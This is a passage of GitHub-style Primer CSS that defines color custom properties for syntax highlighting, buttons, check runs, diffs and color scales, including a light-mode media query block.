#cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px 